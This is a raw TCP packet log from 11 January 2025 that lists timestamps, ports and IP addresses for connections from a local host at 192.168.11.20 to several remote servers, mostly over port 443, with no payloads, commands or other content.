Jan 11, 2025 07:54:36.997713089 CET	65270	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:37.012588024 CET	63255	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:37.024918079 CET	443	57559	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.024966002 CET	443	57559	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.025158882 CET	57559	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.025511026 CET	57559	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.025522947 CET	443	57559	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.026566982 CET	50028	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.026585102 CET	443	50028	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.026782036 CET	50028	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.026927948 CET	50028	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.026936054 CET	443	50028	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.042579889 CET	61072	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.206356049 CET	443	64886	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.206712008 CET	64886	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.206737041 CET	443	64886	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.207531929 CET	443	64886	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.208235979 CET	64886	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.208329916 CET	64886	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.208347082 CET	443	64886	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.208431959 CET	443	64886	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.249249935 CET	443	61072	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.249366045 CET	443	61072	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.249677896 CET	61072	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.249963045 CET	61072	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.249963999 CET	61072	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.249994040 CET	443	61072	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.250168085 CET	61072	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.259917974 CET	64886	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.260241032 CET	443	65270	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:37.260332108 CET	443	65270	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:37.260571003 CET	65270	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:37.260987043 CET	65270	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:37.261015892 CET	443	65270	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:37.261271954 CET	59997	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:37.261312008 CET	443	59997	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:37.261462927 CET	59997	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:37.261662006 CET	59997	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:37.261682034 CET	443	59997	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:37.277357101 CET	443	63255	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:37.277451038 CET	443	63255	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:37.277596951 CET	63255	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:37.277971029 CET	63255	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:37.277985096 CET	443	63255	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:37.391510963 CET	443	50028	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.391874075 CET	50028	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.391901970 CET	443	50028	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.392787933 CET	443	50028	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.393234015 CET	50028	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.393347025 CET	50028	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.393357038 CET	443	50028	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.393435955 CET	443	50028	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.446455002 CET	50028	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.468676090 CET	443	64886	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.468770027 CET	443	64886	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.468924999 CET	64886	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.469219923 CET	64886	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.469244957 CET	443	64886	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.533092022 CET	443	59997	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:37.533426046 CET	59997	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:37.533448935 CET	443	59997	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:37.534336090 CET	443	59997	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:37.534773111 CET	59997	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:37.534847975 CET	59997	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:37.534990072 CET	443	59997	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:37.587091923 CET	59997	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:37.656799078 CET	443	50028	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.656924009 CET	443	50028	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.657187939 CET	50028	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.660197973 CET	50028	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:37.660221100 CET	443	50028	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:37.844955921 CET	443	59997	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:37.845065117 CET	443	59997	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:37.845330000 CET	59997	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:37.845938921 CET	59997	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:37.845968962 CET	443	59997	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:37.846198082 CET	49420	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:37.846239090 CET	443	49420	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:37.846499920 CET	49420	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:37.846839905 CET	49420	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:37.846863985 CET	443	49420	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:38.053380013 CET	53258	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.053392887 CET	443	53258	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.053627968 CET	53258	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.053777933 CET	53258	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.053783894 CET	443	53258	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.058326006 CET	50559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.058342934 CET	443	50559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.058506966 CET	50559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.058655977 CET	50559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.058669090 CET	443	50559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.116934061 CET	443	49420	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:38.117314100 CET	49420	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:38.117321968 CET	443	49420	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:38.117687941 CET	443	49420	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:38.118108988 CET	49420	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:38.118154049 CET	49420	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:38.118156910 CET	443	49420	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:38.118221045 CET	443	49420	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:38.158555031 CET	49420	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:38.331423998 CET	62453	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.331445932 CET	443	62453	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.331615925 CET	62453	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.331752062 CET	62453	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.331764936 CET	443	62453	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.429270983 CET	443	49420	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:38.429354906 CET	443	49420	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:38.429565907 CET	49420	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:38.429970026 CET	49420	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:38.429970026 CET	49420	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:38.429981947 CET	443	49420	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:38.430154085 CET	49420	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:38.430284977 CET	64889	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:38.430299044 CET	443	64889	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:38.430500984 CET	64889	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:38.430640936 CET	64889	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:38.430646896 CET	443	64889	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:38.458518028 CET	443	50559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.458874941 CET	50559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.458885908 CET	443	50559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.459254980 CET	443	50559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.459614038 CET	50559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.459683895 CET	443	50559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.459717989 CET	50559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.459717989 CET	50559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.459775925 CET	443	50559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.459795952 CET	50559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.459813118 CET	50559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.459815025 CET	443	50559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.459821939 CET	443	50559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.460010052 CET	50559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.460031033 CET	443	50559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.482615948 CET	443	53258	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.483027935 CET	53258	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.483055115 CET	443	53258	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.483818054 CET	443	53258	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.484178066 CET	53258	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.484246969 CET	53258	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.484257936 CET	443	53258	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.484301090 CET	53258	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.484347105 CET	53258	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.484345913 CET	443	53258	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.484405994 CET	443	53258	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.533581972 CET	53258	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.700886011 CET	443	64889	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:38.701190948 CET	64889	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:38.701215029 CET	443	64889	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:38.701987982 CET	443	64889	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:38.702405930 CET	64889	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:38.702469110 CET	64889	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:38.702486038 CET	443	64889	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:38.702636957 CET	443	64889	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:38.722110033 CET	443	50559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.722223043 CET	443	50559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.722383976 CET	50559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.722526073 CET	50559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.722526073 CET	50559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.722556114 CET	443	50559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.722795963 CET	50559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.722887039 CET	53348	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.722923994 CET	443	53348	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.723104000 CET	53348	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.723253965 CET	53348	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.723265886 CET	443	53348	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.750188112 CET	64889	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:38.765547991 CET	443	62453	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.765903950 CET	62453	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.765930891 CET	443	62453	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.768013000 CET	443	62453	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.768220901 CET	62453	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.768479109 CET	62453	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.768580914 CET	62453	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.768580914 CET	62453	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.768608093 CET	443	62453	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.768629074 CET	62453	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.768686056 CET	443	62453	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.768701077 CET	62453	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.768800020 CET	443	62453	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.768847942 CET	62453	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.769030094 CET	62453	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.769051075 CET	443	62453	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.769257069 CET	62453	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.769284964 CET	443	62453	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.787935972 CET	443	53258	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.788064957 CET	443	53258	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.788193941 CET	53258	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.788549900 CET	53258	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:38.788578033 CET	443	53258	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:38.812850952 CET	62453	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:39.016504049 CET	443	64889	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:39.016582012 CET	443	64889	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:39.016725063 CET	64889	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:39.017234087 CET	64889	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:39.017256021 CET	443	64889	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:39.050718069 CET	443	62453	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:39.050793886 CET	443	62453	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:39.050985098 CET	62453	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:39.051209927 CET	62453	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:39.051228046 CET	443	62453	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:39.158538103 CET	443	53348	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:39.158909082 CET	53348	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:39.158931971 CET	443	53348	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:39.159688950 CET	443	53348	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:39.160130978 CET	53348	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:39.160196066 CET	53348	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:39.160196066 CET	53348	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:39.160206079 CET	443	53348	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:39.160244942 CET	53348	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:39.160284042 CET	443	53348	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:39.160293102 CET	53348	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:39.160471916 CET	53348	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:39.160478115 CET	443	53348	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:39.213793993 CET	53348	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:39.322475910 CET	49769	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:54:39.450021029 CET	443	53348	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:39.450162888 CET	443	53348	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:39.450340986 CET	53348	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:39.450666904 CET	53348	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:39.450706005 CET	443	53348	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:39.889883041 CET	60768	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:39.889940023 CET	443	60768	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:39.890125036 CET	60768	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:39.890233994 CET	60768	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:39.890265942 CET	443	60768	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:40.289899111 CET	443	60768	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:40.290222883 CET	60768	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:40.290235996 CET	443	60768	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:40.290671110 CET	443	60768	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:40.291102886 CET	60768	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:40.291209936 CET	443	60768	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:40.291214943 CET	60768	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:40.291214943 CET	60768	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:40.291254997 CET	443	60768	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:40.291270971 CET	60768	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:40.291306019 CET	443	60768	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:40.291338921 CET	60768	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:40.291537046 CET	60768	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:40.334258080 CET	443	60768	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:40.352118015 CET	50713	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:40.352138996 CET	443	50713	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:40.352370024 CET	50713	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:40.352475882 CET	50713	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:40.352483988 CET	443	50713	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:40.597532988 CET	443	60768	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:40.597666025 CET	443	60768	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:40.597839117 CET	60768	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:40.598016024 CET	60768	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:40.598050117 CET	443	60768	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:40.727550030 CET	443	50713	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:40.728127956 CET	50713	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:40.728159904 CET	443	50713	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:40.729041100 CET	443	50713	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:40.731137991 CET	50713	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:40.731307030 CET	50713	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:40.731334925 CET	443	50713	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:40.731383085 CET	443	50713	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:40.779650927 CET	50713	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:40.990313053 CET	443	50713	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:40.990453959 CET	443	50713	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:40.990643024 CET	50713	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:40.990869045 CET	50713	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:40.990869045 CET	50713	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:40.990904093 CET	443	50713	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:40.991131067 CET	50713	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:43.368179083 CET	56798	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:43.368192911 CET	443	56798	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:43.368385077 CET	56798	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:43.368581057 CET	56798	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:43.368590117 CET	443	56798	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:43.793215036 CET	443	56798	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:43.793569088 CET	56798	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:43.793580055 CET	443	56798	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:43.793879986 CET	443	56798	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:43.794344902 CET	56798	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:43.794397116 CET	443	56798	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:43.794477940 CET	56798	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:43.794477940 CET	56798	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:43.794493914 CET	443	56798	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:43.794534922 CET	56798	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:43.794548988 CET	56798	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:43.794552088 CET	443	56798	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:43.794744015 CET	56798	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:43.794751883 CET	443	56798	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:43.794935942 CET	56798	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:43.794950962 CET	443	56798	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:44.084672928 CET	443	56798	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:44.084765911 CET	443	56798	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:44.084994078 CET	56798	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:44.085180044 CET	56798	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:44.085180044 CET	56798	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:44.085191011 CET	443	56798	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:44.085362911 CET	56798	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:45.451977968 CET	56799	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:54:45.881611109 CET	58227	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:45.881628990 CET	443	58227	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:45.881788015 CET	58227	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:45.881975889 CET	58227	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:45.881988049 CET	443	58227	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:46.282419920 CET	443	58227	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:46.282829046 CET	58227	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:46.282860041 CET	443	58227	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:46.283791065 CET	443	58227	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:46.284286022 CET	58227	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:46.284388065 CET	58227	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:46.284388065 CET	58227	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:46.284419060 CET	443	58227	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:46.284451008 CET	58227	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:46.284523964 CET	58227	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:46.284528017 CET	443	58227	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:46.284687996 CET	58227	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:46.284715891 CET	443	58227	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:46.338078022 CET	58227	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:46.393939972 CET	443	63290	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:46.393980980 CET	443	63290	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:46.394294977 CET	63290	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:46.462812901 CET	56799	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:54:46.468997955 CET	443	53302	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:46.469068050 CET	443	53302	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:46.469290018 CET	53302	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:46.541214943 CET	443	58227	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:46.541312933 CET	443	58227	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:46.541505098 CET	58227	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:46.541853905 CET	58227	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:46.541882992 CET	443	58227	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:46.648998022 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:46.767461061 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:48.475580931 CET	56799	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:54:48.889319897 CET	63290	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:48.889332056 CET	443	63290	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:48.889451027 CET	50590	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:48.889467001 CET	443	50590	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:48.889735937 CET	50590	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:48.889926910 CET	50590	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:48.889933109 CET	443	50590	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:49.351712942 CET	443	50590	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:49.352103949 CET	50590	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:49.352119923 CET	443	50590	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:49.352499962 CET	443	50590	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:49.352896929 CET	50590	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:49.352988958 CET	443	50590	13.89.179.10	192.168.11.20
